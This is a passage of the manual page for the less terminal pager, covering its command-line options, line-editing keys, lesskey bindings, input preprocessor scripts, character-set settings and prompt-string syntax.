The line is horizontally shifted, and the text that is shifted beyond the left side of the screen contains a match for the current search.

=
The line is both chopped and shifted, and there are matches beyond both sides of the screen.

  • There are matches in the visible part of the line but none to the right or left of it.

a-z, A-Z
The line has been marked with the corresponding letter via the m command.

-kfilename or –lesskey-file=filename
Causes less to open and interpret the named file as a lesskey(1) binary file. Multiple -k options may be specified. If the LESSKEY or LESSKEY_SYSTEM environment variable is set, or if a lesskey file is found in a standard place (see KEY BINDINGS), it is also used as a lesskey file.

–lesskey-src=filename
Causes less to open and interpret the named file as a lesskey(1) source file. If the LESSKEYIN or LESSKEYIN_SYSTEM environment variable is set, or if a lesskey source file is found in a standard place (see KEY BINDINGS), it is also used as a lesskey source file. Prior to version 582, the lesskey program needed to be run to convert a lesskey source file to a lesskey binary file for less to use. Newer versions of less read the lesskey source file directly and ignore the binary file if the source file exists.

-K or –quit-on-intr
Causes less to exit immediately (with status 2) when an interrupt character (usually ^C) is typed. Normally, an interrupt character causes less to stop whatever it is doing and return to its command prompt. Note that use of this option makes it impossible to return to the command prompt from the “F” command.

-L or –no-lessopen
Ignore the LESSOPEN environment variable (see the INPUT PREPROCESSOR section below). This option can be set from within less, but it will apply only to files opened subsequently, not to the file which is currently open.

-m or –long-prompt
Causes less to prompt verbosely (like more(1)), with the percent into the file. By default, less prompts with a colon.

-M or –LONG-PROMPT
Causes less to prompt even more verbosely than more(1).

-n or –line-numbers
Suppresses line numbers. The default (to use line numbers) may cause less to run more slowly in some cases, especially with a very large input file. Suppressing line numbers with the -n option will avoid this problem. Using line numbers means: the line number will be displayed in the verbose prompt and in the = command, and the v command will pass the current line number to the editor (see also the discussion of LESSEDIT in PROMPTS below).

-N or –LINE-NUMBERS
Causes a line number to be displayed at the beginning of each line in the display.

-ofilename or –log-file=filename
Causes less to copy its input to the named file as it is being viewed. This applies only when the input file is a pipe, not an ordinary file. If the file already exists, less will ask for confirmation before overwriting it.

-Ofilename or –LOG-FILE=filename
The -O option is like -o, but it will overwrite an existing file without asking for confirmation.

If no log file has been specified, the -o and -O options can be used from within less to specify a log file. Without a file name, they will simply report the name of the log file. The “s” command is equivalent to specifying -o from within less.

-ppattern or –pattern=pattern
The -p option on the command line is equivalent to specifying +/pattern; that is, it tells less to start at the first occurrence of pattern in the file.

-Pprompt or –prompt=prompt
Provides a way to tailor the three prompt styles to your own preference. This option would normally be put in the LESS environment variable, rather than being typed in with each less command. Such an option must either be the last option in the LESS variable, or be terminated by a dollar sign. -Ps followed by a string changes the default (short) prompt to that string. -Pm changes the medium (-m) prompt. -PM changes the long (-M) prompt. -Ph changes the prompt for the help screen. -P= changes the message printed by the = command. -Pw changes the message printed while waiting for data (in the “F” command).

All prompt strings consist of a sequence of letters and special escape sequences. See the section on PROMPTS for more details.

-q or –quiet or –silent
Causes moderately “quiet” operation: the terminal bell is not rung if an attempt is made to scroll past the end of the file or before the beginning of the file. If the terminal has a “visual bell”, it is used instead. The bell will be rung on certain other errors, such as typing an invalid character. The default is to ring the terminal bell in all such cases.

-Q or –QUIET or –SILENT
Causes totally “quiet” operation: the terminal bell is never rung. If the terminal has a “visual bell”, it is used in all cases where the terminal bell would have been rung.

-r or –raw-control-chars
Causes “raw” control characters to be displayed. The default is to display control characters using the caret notation; for example, a control-A (octal 001) is displayed as “^A” (with some exceptions as described under the -U option). Warning: when the -r option is used, less cannot keep track of the actual appearance of the screen (since this depends on how the screen responds to each type of control character). Thus, various display problems may result, such as long lines being split in the wrong place.

USE OF THE -r OPTION IS NOT RECOMMENDED.

-R or –RAW-CONTROL-CHARS
Like -r, but only ANSI “color” escape sequences and OSC 8 hyperlink sequences are output in “raw” form. Unlike -r, the screen appearance is maintained correctly, provided that there are no escape sequences in the file other than these types of escape sequences. Color escape sequences are only supported when the color is changed within one line, not across lines. In other words, the beginning of each line is assumed to be normal (non-colored), regardless of any escape sequences in previous lines. For the purpose of keeping track of screen appearance, these escape sequences are assumed to not move the cursor.

OSC 8 hyperlinks are sequences of the form:

ESC ] 8 ; … \7

The terminating sequence may be either a BEL character (\7) or the two-character sequence “ESC .

ANSI color escape sequences are sequences of the form:

ESC [ … m

where the “…” is zero or more color specification characters. You can make less think that characters other than “m” can end ANSI color escape sequences by setting the environment variable LESSANSIENDCHARS to the list of characters which can end a color escape sequence. And you can make less think that characters other than the standard ones may appear between the ESC and the m by setting the environment variable LESSANSIMIDCHARS to the list of characters which can appear.

-s or –squeeze-blank-lines
Causes consecutive blank lines to be squeezed into a single blank line. This is useful when viewing nroff output.

-S or –chop-long-lines
Causes lines longer than the screen width to be chopped (truncated) rather than wrapped. That is, the portion of a long line that does not fit in the screen width is not displayed until you press RIGHT-ARROW. The default is to wrap long lines; that is, display the remainder on the next line. See also the –wordwrap option.

-ttag or –tag=tag
The -t option, followed immediately by a TAG, will edit the file containing that tag. For this to work, tag information must be available; for example, there may be a file in the current directory called “tags”, which was previously built by ctags(1) or an equivalent command. If the environment variable LESSGLOBALTAGS is set, it is taken to be the name of a command compatible with global(1), and that command is executed to find the tag. (See

http://www.gnu.org/software/global/global.html).

The -t option may also be specified from within less (using the - command) as a way of examining a new file. The command “:t” is equivalent to specifying -t from within less.

-Ttagsfile or –tag-file=tagsfile
Specifies a tags file to be used instead of “tags”.

-u or –underline-special
Causes backspaces and carriage returns to be treated as printable characters; that is, they are sent to the terminal when they appear in the input.

-U or –UNDERLINE-SPECIAL
Causes backspaces, tabs, carriage returns and “formatting characters” (as defined by Unicode) to be treated as control characters; that is, they are handled as specified by the -r option.

By default, if neither -u nor -U is given, backspaces which appear adjacent to an underscore character are treated specially: the underlined text is displayed using the terminal’s hardware underlining capability. Also, backspaces which appear between two identical characters are treated specially: the overstruck text is printed using the terminal’s hardware boldface capability. Other backspaces are deleted, along with the preceding character. Carriage returns immediately followed by a newline are deleted. Other carriage returns are handled as specified by the -r option. Unicode formatting characters, such as the Byte Order Mark, are sent to the terminal. Text which is overstruck or underlined can be searched for if neither -u nor -U is in effect.

See also the –proc-backspace, –proc-tab, and –proc-return options.

-V or –version
Displays the version number of less.

-w or –hilite-unread
Temporarily highlights the first “new” line after a forward movement of a full page. The first “new” line is the line immediately following the line previously at the bottom of the screen. Also highlights the target line after a g or p command. The highlight is removed at the next command which causes movement. If the –status-line option is in effect, the entire line (the width of the screen) is highlighted. Otherwise, only the text in the line is highlighted, unless the -J option is in effect, in which case only the status column is highlighted.

-W or –HILITE-UNREAD
Like -w, but temporarily highlights the first new line after any forward movement command larger than one line.

-xn,… or –tabs=n,…
Sets tab stops. If only one n is specified, tab stops are set at multiples of n. If multiple values separated by commas are specified, tab stops are set at those positions, and then continue with the same spacing as the last two. For example, “-x9,17” will set tabs at positions 9, 17, 25, 33, etc. The default for n is 8.

-X or –no-init
Disables sending the termcap initialization and deinitialization strings to the terminal. This is sometimes desirable if the deinitialization string does something unnecessary, like clearing the screen.

-yn or –max-forw-scroll=n
Specifies a maximum number of lines to scroll forward. If it is necessary to scroll forward more than n lines, the screen is repainted instead. The -c or -C option may be used to repaint from the top of the screen if desired. By default, any forward movement causes scrolling.

-zn or –window=n or -n
Changes the default scrolling window size to n lines. The default is one screenful. The z and w commands can also be used to change the window size. The “z” may be omitted for compatibility with some versions of more(1). If the number n is negative, it indicates n lines less than the current screen size. For example, if the screen is 24 lines, -z-4 sets the scrolling window to 20 lines. If the screen is resized to 40 lines, the scrolling window automatically changes to 36 lines.

-“cc or –quotes=cc
Changes the filename quoting character. This may be necessary if you are trying to name a file which contains both spaces and quote characters. Followed by a single character, this changes the quote character to that character. Filenames containing a space should then be surrounded by that character rather than by double quotes. Followed by two characters, changes the open quote to the first character, and the close quote to the second character. Filenames containing a space should then be preceded by the open quote character and followed by the close quote character. Note that even after the quote characters are changed, this option remains -” (a dash followed by a double quote).

-~ or –tilde
Normally lines after end of file are displayed as a single tilde (~). This option causes lines after end of file to be displayed as blank lines.

-# or –shift
Specifies the default number of positions to scroll horizontally in the RIGHTARROW and LEFTARROW commands. If the number specified is zero, it sets the default number of positions to one half of the screen width. Alternately, the number may be specified as a fraction of the width of the screen, starting with a decimal point: .5 is half of the screen width, .3 is three tenths of the screen width, and so on. If the number is specified as a fraction, the actual number of scroll positions is recalculated if the terminal window is resized.

–exit-follow-on-close
When using the “F” command on a pipe, less will automatically stop waiting for more data when the input side of the pipe is closed.

–file-size
If –file-size is specified, less will determine the size of the file immediately after opening the file. Then the “=” command will display the number of lines in the file. Normally this is not done, because it can be slow if the input file is non-seekable (such as a pipe) and is large.

–follow-name
Normally, if the input file is renamed while an F command is executing, less will continue to display the contents of the original file despite its name change. If –follow-name is specified, during an F command less will periodically attempt to reopen the file by name. If the reopen succeeds and the file is a different file from the original (which means that a new file has been created with the same name as the original (now renamed) file), less will display the contents of that new file.

–header=N[,M]
Sets the number of header lines and columns displayed on the screen. The value may be of the form “N,M” where N and M are integers, to set the header lines to N and the header columns to M, or it may be a single integer “N” which sets the header lines to N and the header columns to zero, or it may be “,M” which sets the header columns to M and the header lines to zero. When N is nonzero, the first N lines at the top of the screen are replaced with the first N lines of the file, regardless of what part of the file are being viewed. When M is nonzero, the characters displayed at the beginning of each line are replaced with the first M characters of the line, even if the rest of the line is scrolled horizontally. If either N or M is zero, less stops displaying header lines or columns, respectively. (Note that it may be necessary to change the setting of the -j option to ensure that the target line is not obscured by the header line(s).)

–incsearch
Subsequent search commands will be “incremental”; that is, less will advance to the next line containing the search pattern as each character of the pattern is typed in.

–intr=c
Use the character c instead of ^X to interrupt a read when the “Waiting for data” message is displayed. c must be an ASCII character; that is, one with a value between 1 and 127 inclusive. A caret followed by a single character can be used to specify a control character.

–line-num-width=n
Sets the minimum width of the line number field when the -N option is in effect to n characters. The default is 7.

–modelines=n

Before displaying a file, less will read the first n lines to try to find a vim-compatible modeline. If n is zero, less does not try to find modelines. By using a modeline, the file itself can specify the tab stops that should be used when viewing it.

A modeline contains, anywhere in the line, a program name (“vi”, “vim”, “ex”, or “less”), followed by a colon, possibly followed by the word “set”, and finally followed by zero or more option settings. If the word “set” is used, option settings are separated by spaces, and end at the first colon. If the word “set” is not used, option settings may be separated by either spaces or colons. The word “set” is required if the program name is “less” but optional if any of the other three names are used. If any option setting is of the form “tabstop=n” or “ts=n”, then tab stops are automatically set as if –tabs=n had been given. See the –tabs description for acceptable values of n.

–mouse
Enables mouse input: scrolling the mouse wheel down moves forward in the file, scrolling the mouse wheel up moves backwards in the file, and clicking the mouse sets the “#” mark to the line where the mouse is clicked. The number of lines to scroll when the wheel is moved can be set by the –wheel-lines option. Mouse input works only on terminals which support X11 mouse reporting, and on the Windows version of less.

–MOUSE
Like –mouse, except the direction scrolled on mouse wheel movement is reversed.

–no-keypad
Disables sending the keypad initialization and deinitialization strings to the terminal. This is sometimes useful if the keypad strings make the numeric keypad behave in an undesirable manner.

–no-histdups
This option changes the behavior so that if a search string or file name is typed in, and the same string is already in the history list, the existing copy is removed from the history list before the new one is added. Thus, a given string will appear only once in the history list. Normally, a string may appear multiple times.

–no-number-headers
Header lines (defined via the –header option) are not assigned line numbers. Line number 1 is assigned to the first line after any header lines.

–no-search-headers
Searches do not include header lines or header columns.

–no-vbell
Disables the terminal’s visual bell.

–proc-backspace
If set, backspaces are handled as if neither the -u option nor the -U option were set. That is, a backspace adjacent to an underscore causes text to be displayed in underline mode, and a backspace between identical characters cause text to be displayed in boldface mode. This option overrides the -u and -U options, so that display of backspaces can be controlled separate from tabs and carriage returns. If not set, backspace display is controlled by the -u and -U options.

–PROC-BACKSPACE
If set, backspaces are handled as if the -U option were set; that is backspaces are treated as control characters.

–proc-return
If set, carriage returns are handled as if neither the -u option nor the -U option were set. That is, a carriage return immediately before a newline is deleted. This option overrides the -u and -U options, so that display of carriage returns can be controlled separate from that of backspaces and tabs. If not set, carriage return display is controlled by the -u and -U options.

–PROC-RETURN
If set, carriage returns are handled as if the -U option were set; that is carriage returns are treated as control characters.

–proc-tab
If set, tabs are handled as if the -U option were not set. That is, tabs are expanded to spaces. This option overrides the -U option, so that display of tabs can be controlled separate from that of backspaces and carriage returns. If not set, tab display is controlled by the -U options.

–PROC-TAB
If set, tabs are handled as if the -U option were set; that is tabs are treated as control characters.

–redraw-on-quit
When quitting, after sending the terminal deinitialization string, redraws the entire last screen. On terminals whose terminal deinitialization string causes the terminal to switch from an alternate screen, this makes the last screenful of the current file remain visible after less has quit.

–rscroll=c
This option changes the character used to mark truncated lines. It may begin with a two-character attribute indicator like LESSBINFMT does. If there is no attribute indicator, standout is used. If set to “-”, truncated lines are not marked.

–save-marks
Save marks in the history file, so marks are retained across different invocations of less.

–search-options=…
Sets default search modifiers. The value is a string of one or more of the characters E, F, K, N, R or W. Setting any of these has the same effect as typing that control character at the beginning of every search pattern. For example, setting –search-options=W is the same as typing ^W at the beginning of every pattern. The value may also contain a digit between 1 and 5, which has the same effect as typing ^S followed by that digit at the beginning of every search pattern. The value “-” disables all default search modifiers.

–show-preproc-errors
If a preprocessor produces data, then exits with a non-zero exit code, less will display a warning.

–status-col-width=n
Sets the width of the status column when the -J option is in effect. The default is 2 characters.

–status-line
If a line is marked, the entire line (rather than just the status column) is highlighted. Also lines highlighted due to the -w option will have the entire line highlighted. If –use-color is set, the line is colored rather than highlighted.

–use-backslash
This option changes the interpretations of options which follow this one. After the –use-backslash option, any backslash in an option string is removed and the following character is taken literally. This allows a dollar sign to be included in option strings.

–use-color
Enables colored text in various places. The -D option can be used to change the colors. Colored text works only if the terminal supports ANSI color escape sequences (as defined in ECMA-48 SGR; see

https://www.ecma-international.org/publications-and-standards/standards/ecma-48).

–wheel-lines=n
Set the number of lines to scroll when the mouse wheel is scrolled and the –mouse or –MOUSE option is in effect. The default is 1 line.

–wordwrap
When the -S option is not in use, wrap each line at a space or tab if possible, so that a word is not split between two lines. The default is to wrap at any character.


A command line argument of “–” marks the end of option arguments. Any arguments following this are interpreted as filenames. This can be useful when viewing a file whose name begins with a “-” or “+”.

  • If a command line option begins with +, the remainder of that option is taken to be an initial command to less. For example, +G tells less to start at the end of the file rather than the beginning, and +/xyz tells it to start at the first occurrence of “xyz” in the file. As a special case, +<number> acts like +<number>g; that is, it starts the display at the specified line number (however, see the caveat under the “g” command above). If the option starts with ++, the initial command applies to every file being viewed, not just the first one. The + command described previously may also be used to set (or change) an initial command for every file.

LINE EDITING

When entering a command line at the bottom of the screen (for example, a filename for the :e command, or the pattern for a search command), certain keys can be used to manipulate the command line. Most commands have an alternate form in [ brackets ] which can be used if a key does not exist on a particular keyboard. (Note that the forms beginning with ESC do not work in some MS-DOS and Windows systems because ESC is the line erase character.) Any of these special keys may be entered literally by preceding it with the “literal” character, either ^V or ^A. A backslash itself may also be entered literally by entering two backslashes.

LEFTARROW [ ESC-h ]
Move the cursor one space to the left.

RIGHTARROW [ ESC-l ]
Move the cursor one space to the right.

^LEFTARROW [ ESC-b or ESC-LEFTARROW ]
(That is, CONTROL and LEFTARROW simultaneously.) Move the cursor one word to the left.

^RIGHTARROW [ ESC-w or ESC-RIGHTARROW ]
(That is, CONTROL and RIGHTARROW simultaneously.) Move the cursor one word to the right.

HOME [ ESC-0 ]
Move the cursor to the beginning of the line.

END [ ESC-$ ]
Move the cursor to the end of the line.

BACKSPACE
Delete the character to the left of the cursor, or cancel the command if the command line is empty.

DELETE or [ ESC-x ]
Delete the character under the cursor.

^BACKSPACE [ ESC-BACKSPACE ]
(That is, CONTROL and BACKSPACE simultaneously.) Delete the word to the left of the cursor.

^DELETE [ ESC-X or ESC-DELETE ]
(That is, CONTROL and DELETE simultaneously.) Delete the word under the cursor.

UPARROW [ ESC-k ]
Retrieve the previous command line. If you first enter some text and then press UPARROW, it will retrieve the previous command which begins with that text.

DOWNARROW [ ESC-j ]
Retrieve the next command line. If you first enter some text and then press DOWNARROW, it will retrieve the next command which begins with that text.

TAB
Complete the partial filename to the left of the cursor. If it matches more than one filename, the first match is entered into the command line. Repeated TABs will cycle thru the other matching filenames. If the completed filename is a directory, a “/” is appended to the filename. (On MS-DOS systems, a “\ is appended.) The environment variable LESSSEPARATOR can be used to specify a different character to append to a directory name.

BACKTAB [ ESC-TAB ]
Like, TAB, but cycles in the reverse direction thru the matching filenames.

^L
Complete the partial filename to the left of the cursor. If it matches more than one filename, all matches are entered into the command line (if they fit).

^U (Unix and OS/2) or ESC (MS-DOS)
Delete the entire command line, or cancel the command if the command line is empty. If you have changed your line-kill character in Unix to something other than ^U, that character is used instead of ^U.

^G
Delete the entire command line and return to the main prompt.

KEY BINDINGS

You may define your own less commands by creating a lesskey source file. This file specifies a set of command keys and an action associated with each key. You may also change the line-editing keys (see LINE EDITING), and set environment variables used by less. See the lesskey(1) manual page for details about the file format.

If the environment variable LESSKEYIN is set, less uses that as the name of the lesskey source file. Otherwise, less looks in a standard place for the lesskey source file: On Unix systems, less looks for a lesskey file called “$XDG_CONFIG_HOME/lesskey” or “$HOME/.config/lesskey” or “$HOME/.lesskey”. On MS-DOS and Windows systems, less looks for a lesskey file called “$HOME/_lesskey”, and if it is not found there, then looks for a lesskey file called “_lesskey” in any directory specified in the PATH environment variable. On OS/2 systems, less looks for a lesskey file called “$HOME/lesskey.ini”, and if it is not found, then looks for a lesskey file called “lesskey.ini” in any directory specified in the INIT environment variable, and if it not found there, then looks for a lesskey file called “lesskey.ini” in any directory specified in the PATH environment variable.

A system-wide lesskey source file may also be set up to provide key bindings. If a key is defined in both a local lesskey file and in the system-wide file, key bindings in the local file take precedence over those in the system-wide file. If the environment variable LESSKEYIN_SYSTEM is set, less uses that as the name of the system-wide lesskey file. Otherwise, less looks in a standard place for the system-wide lesskey file: On Unix systems, the system-wide lesskey file is /usr/local/etc/syslesskey. (However, if less was built with a different sysconf directory than /usr/local/etc, that directory is where the sysless file is found.) On MS-DOS and Windows systems, the system-wide lesskey file is c:\syslesskey. On OS/2 systems, the system-wide lesskey file is c:\syslesskey.ini.

Previous versions of less (before v582) used lesskey files with a binary format, produced by the lesskey program. It is no longer necessary to use the lesskey program.

INPUT PREPROCESSOR

You may define an “input preprocessor” for less. Before less opens a file, it first gives your input preprocessor a chance to modify the way the contents of the file are displayed. An input preprocessor is simply an executable program (or shell script), which writes the contents of the file to a different file, called the replacement file. The contents of the replacement file are then displayed in place of the contents of the original file. However, it will appear to the user as if the original file is opened; that is, less will display the original filename as the name of the current file.

An input preprocessor receives one command line argument, the original filename, as entered by the user. It should create the replacement file, and when finished, print the name of the replacement file to its standard output. If the input preprocessor does not output a replacement filename, less uses the original file, as normal. The input preprocessor is not called when viewing standard input. To set up an input preprocessor, set the LESSOPEN environment variable to a command line which will invoke your input preprocessor. This command line should include one occurrence of the string “%s”, which will be replaced by the filename when the input preprocessor command is invoked.

When less closes a file opened in such a way, it will call another program, called the input postprocessor, which may perform any desired clean-up action (such as deleting the replacement file created by LESSOPEN). This program receives two command line arguments, the original filename as entered by the user, and the name of the replacement file. To set up an input postprocessor, set the LESSCLOSE environment variable to a command line which will invoke your input postprocessor. It may include two occurrences of the string “%s”; the first is replaced with the original name of the file and the second with the name of the replacement file, which was output by LESSOPEN.

For example, on many Unix systems, these two scripts will allow you to keep files in compressed format, but still let less view them directly:

lessopen.sh:
#! /bin/sh
case “$1” in
*.Z) TEMPFILE=$(mktemp)
uncompress -c $1 >$TEMPFILE 2>/dev/null
if [ -s $TEMPFILE ]; then
echo $TEMPFILE
else
rm -f $TEMPFILE
fi
;;
esac

lessclose.sh:
#! /bin/sh
rm $2

To use these scripts, put them both where they can be executed and set LESSOPEN=“lessopen.sh %s”, and LESSCLOSE=“lessclose.sh %s %s”. More complex LESSOPEN and LESSCLOSE scripts may be written to accept other types of compressed files, and so on.

It is also possible to set up an input preprocessor to pipe the file data directly to less, rather than putting the data into a replacement file. This avoids the need to decompress the entire file before starting to view it. An input preprocessor that works this way is called an input pipe. An input pipe, instead of writing the name of a replacement file on its standard output, writes the entire contents of the replacement file on its standard output. If the input pipe does not write any characters on its standard output, then there is no replacement file and less uses the original file, as normal. To use an input pipe, make the first character in the LESSOPEN environment variable a vertical bar (|) to signify that the input preprocessor is an input pipe. As with non-pipe input preprocessors, the command string must contain one occurrence of %s, which is replaced with the filename of the input file.

For example, on many Unix systems, this script will work like the previous example scripts:

lesspipe.sh:
#! /bin/sh
case “$1” in
*.Z) uncompress -c $1 2>/dev/null
;;
*) exit 1
;;
esac
exit $?

To use this script, put it where it can be executed and set LESSOPEN="|lesspipe.sh %s”.

Note that a preprocessor cannot output an empty file, since that is interpreted as meaning there is no replacement, and the original file is used. To avoid this, if LESSOPEN starts with two vertical bars, the exit status of the script determines the behavior when the output is empty. If the output is empty and the exit status is zero, the empty output is considered to be replacement text. If the output is empty and the exit status is nonzero, the original file is used. For compatibility with previous versions of less, if LESSOPEN starts with only one vertical bar, the exit status of the preprocessor is ignored.

When an input pipe is used, a LESSCLOSE postprocessor can be used, but it is usually not necessary since there is no replacement file to clean up. In this case, the replacement file name passed to the LESSCLOSE postprocessor is “-”.

For compatibility with previous versions of less, the input preprocessor or pipe is not used if less is viewing standard input. However, if the first character of LESSOPEN is a dash (-), the input preprocessor is used on standard input as well as other files. In this case, the dash is not considered to be part of the preprocessor command. If standard input is being viewed, the input preprocessor is passed a file name consisting of a single dash. Similarly, if the first two characters of LESSOPEN are vertical bar and dash (|-) or two vertical bars and a dash (||-), the input pipe is used on standard input as well as other files. Again, in this case the dash is not considered to be part of the input pipe command.

NATIONAL CHARACTER SETS

There are three types of characters in the input file:

normal characters
can be displayed directly to the screen.

control characters
should not be displayed directly, but are expected to be found in ordinary text files (such as backspace and tab).

binary characters
should not be displayed directly and are not expected to be found in text files.

A “character set” is simply a description of which characters are to be considered normal, control, and binary. The LESSCHARSET environment variable may be used to select a character set. Possible values for LESSCHARSET are:

ascii
BS, TAB, NL, CR, and formfeed are control characters, all chars with values between 32 and 126 are normal, and all others are binary.

iso8859
Selects an ISO 8859 character set. This is the same as ASCII, except characters between 160 and 255 are treated as normal characters.

latin1
Same as iso8859.

latin9
Same as iso8859.

dos
Selects a character set appropriate for MS-DOS.

ebcdic
Selects an EBCDIC character set.

IBM-1047
Selects an EBCDIC character set used by OS/390 Unix Services. This is the EBCDIC analogue of latin1. You get similar results by setting either LESSCHARSET=IBM-1047 or LC_CTYPE=en_US in your environment.

koi8-r
Selects a Russian character set.

next
Selects a character set appropriate for NeXT computers.

utf-8
Selects the UTF-8 encoding of the ISO 10646 character set. UTF-8 is special in that it supports multi-byte characters in the input file. It is the only character set that supports multi-byte characters.

windows
Selects a character set appropriate for Microsoft Windows (cp 1251).

In rare cases, it may be desired to tailor less to use a character set other than the ones definable by LESSCHARSET. In this case, the environment variable LESSCHARDEF can be used to define a character set. It should be set to a string where each character in the string represents one character in the character set. The character “.” is used for a normal character, “c” for control, and “b” for binary. A decimal number may be used for repetition. For example, “bccc4b.” would mean character 0 is binary, 1, 2 and 3 are control, 4, 5, 6 and 7 are binary, and 8 is normal. All characters after the last are taken to be the same as the last, so characters 9 through 255 would be normal. (This is an example, and does not necessarily represent any real character set.)

This table shows the value of LESSCHARDEF which is equivalent to each of the possible values for LESSCHARSET:

ascii8bcccbcc18b95.b
dos8bcccbcc12bc5b95.b.
ebcdic5bc6bcc7bcc41b.9b7.9b5.b..8b6.10b6.b9.7b
9.8b8.17b3.3b9.7b9.8b8.6b10.b.b.b.
IBM-10474cbcbc3b9cbccbccbb4c6bcc5b3cbbc4bc4bccbc
191.b
iso88598bcccbcc18b95.33b.
koi8-r8bcccbcc18b95.b128.
latin18bcccbcc18b95.33b.
next8bcccbcc18b95.bb125.bb

If neither LESSCHARSET nor LESSCHARDEF is set, but any of the strings “UTF-8”, “UTF8”, “utf-8” or “utf8” is found in the LC_ALL, LC_CTYPE or LANG environment variables, then the default character set is utf-8.

If that string is not found, but your system supports the setlocale interface, less will use setlocale to determine the character set. setlocale is controlled by setting the LANG or LC_CTYPE environment variables.

Finally, if the setlocale interface is also not available, the default character set is latin1.

Control and binary characters are displayed in standout (reverse video). Each such character is displayed in caret notation if possible (e.g. ^A for control-A). Caret notation is used only if inverting the 0100 bit results in a normal printable character. Otherwise, the character is displayed as a hex number in angle brackets. This format can be changed by setting the LESSBINFMT environment variable. LESSBINFMT may begin with a “*” and one character to select the display attribute: “*k” is blinking, “*d” is bold, “*u” is underlined, “*s” is standout, and “*n” is normal. If LESSBINFMT does not begin with a “*”, normal attribute is assumed. The remainder of LESSBINFMT is a string which may include one printf-style escape sequence (a % followed by x, X, o, d, etc.). For example, if LESSBINFMT is “*u[%x]”, binary characters are displayed in underlined hexadecimal surrounded by brackets. The default if no LESSBINFMT is specified is “*s<%02X>”. Warning: the result of expanding the character via LESSBINFMT must be less than 31 characters.

When the character set is utf-8, the LESSUTFBINFMT environment variable acts similarly to LESSBINFMT but it applies to Unicode code points that were successfully decoded but are unsuitable for display (e.g., unassigned code points). Its default value is “<U+%04lX>”. Note that LESSUTFBINFMT and LESSBINFMT share their display attribute setting (”*x”) so specifying one will affect both; LESSUTFBINFMT is read after LESSBINFMT so its setting, if any, will have priority. Problematic octets in a UTF-8 file (octets of a truncated sequence, octets of a complete but non-shortest form sequence, invalid octets, and stray trailing octets) are displayed individually using LESSBINFMT so as to facilitate diagnostic of how the UTF-8 file is ill-formed.

When the character set is utf-8, in rare cases it may be desirable to override the Unicode definition of the type of certain characters. For example, characters in a Private Use Area are normally treated as control characters, but if you are using a custom font with printable characters in that range, it may be desirable to tell less to treat such characters as printable. This can be done by setting the LESSUTFCHARDEF environment variable to a comma-separated list of character type definitions. Each character type definition consists of either one hexadecimal codepoint or a pair of codepoints separated by a dash, followed by a colon and a type character. Each hexadecimal codepoint may optionally be preceded by a “U” or “U+”. If a pair of codepoints is given, the type is set for all characters inclusively between the two values. If there are multiple comma-separated codepoint values, they must be in ascending numerical order. The type character may be one of:

  1. A normal printable character.

  2. A wide (2-space) printable character.

  3. A binary (non-printable) character.

  4. A composing (zero width) character.

For example, setting LESSUTFCHARDEF to

	E000-F8FF:p,F0000-FFFFD:p,100000-10FFFD:p

would make all Private Use Area characters be treated as printable.

PROMPTS

The -P option allows you to tailor the prompt to your preference. The string given to the -P option replaces the specified prompt string. Certain characters in the string are interpreted specially. The prompt mechanism is rather complicated to provide flexibility, but the ordinary user need not understand the details of constructing personalized prompt strings.

A percent sign followed by a single character is expanded according to what the following character is. (References to the input file size below refer to the preprocessed size, if an input preprocessor is being used.)

%bX
Replaced by the byte offset into the current input file. The b is followed by a single character (shown as X above) which specifies the line whose byte offset is to be used. If the character is a “t”, the byte offset of the top line in the display is used, an “m” means use the middle line, a “b” means use the bottom line, a “B” means use the line just after the bottom line, and a “j” means use the “target” line, as specified by the -j option.

%B
Replaced by the size of the current input file.

%c
Replaced by the column number of the text appearing in the first column of the screen.

%dX
Replaced by the page number of a line in the input file. The line to be used is determined by the X, as with the %b option.

%D
Replaced by the number of pages in the input file, or equivalently, the page number of the last line in the input file.

%E
Replaced by the name of the editor (from the VISUAL environment variable, or the EDITOR environment variable if VISUAL is not defined). See the discussion of the LESSEDIT feature below.

%f
Replaced by the name of the current input file.

%F
Replaced by the last component of the name of the current input file.

%g
Replaced by the shell-escaped name of the current input file. This is useful when the expanded string will be used in a shell command, such as in LESSEDIT.

%i
Replaced by the index of the current file in the list of input files.

%lX
Replaced by the line number of a line in the input file. The line to be used is determined by the X, as with the %b option.

%L
Replaced by the line number of the last line in the input file.

%m
Replaced by the total number of input files.

%pX
Replaced by the percent into the current input file, based on byte offsets. The line used is determined by the X as with the %b option.

%PX
Replaced by the percent into the current input file, based on line numbers. The line used is determined by the X as with the %b option.

%s
Same as %B.

%t
Causes any trailing spaces to be removed. Usually used at the end of the string, but may appear anywhere.

%T
Normally expands to the word “file”. However if viewing files via a tags list using the -t option, it expands to the word “tag”.

%x
Replaced by the name of the next input file in the list.

If any item is unknown (for example, the file size if input is a pipe), a question mark is printed instead.

The format of the prompt string can be changed depending on certain conditions. A question mark followed by a single character acts like an “IF”: depending on the following character, a condition is evaluated. If the condition is true, any characters following the question mark and condition character, up to a period, are included in the prompt. If the condition is false, such characters are not included. A colon appearing between the question mark and the period can be used to establish an “ELSE”: any characters between the colon and the period are included in the string if and only if the IF condition is false. Condition characters (which follow a question mark) may be:

?a
True if any characters have been included in the prompt so far.

?bX
True if the byte offset of the specified line is known.

?B
True if the size of current input file is known.

?c
True if the text is horizontally shifted (%c is not zero).

?dX
True if the page number of the specified line is known.

?e
True if at end-of-file.

?f
True if there is an input filename (that is, if input is not a pipe).

?lX
True if the line number of the specified line is known.

?L
True if the line number of the last line in the file is known.

?m
True if there is more than one input file.

?n
True if this is the first prompt in a new input file.

?pX
True if the percent into the current input file, based on byte offsets, of the specified line is known.

?PX
True if the percent into the current input file, based on line numbers, of the specified line is known.

?s
Same as “?B”.

?x
True if there is a next input file (that is, if the current input file is not the last one).

Any characters other than the special ones (question mark, colon, period, percent, and backslash) become literally part of the prompt. Any of the special characters may be included in the prompt literally by preceding it with a backslash.

Some examples:

?f%f:Standard input.

This prompt prints the filename, if known; otherwise the string “Standard input”.

?f%f .?ltLine %lt:?pt%pt:?btByte %bt:-…

This prompt would print the filename, if known. The filename is followed by the line number, if known, otherwise the percent if known, otherwise the byte offset if known. Otherwise, a dash is printed. Notice how each question mark has a matching period, and how the % after the %pt is included literally by escaping it with a backslash.

?n?f%f .?m(%T %i of %m) ..?e(END) ?x- Next\ %x..%t";

This prints the filename if this is the first prompt in a file, followed by the “file N of N” message if there is more than one input file. Then, if we are at end-of-file, the string “(END)” is printed followed by the name of the next file, if there is one. Finally, any trailing spaces are truncated. This is the default prompt. For reference, here are the defaults for the other two prompts (-m and -M respectively). Each is broken into two lines here for readability only.

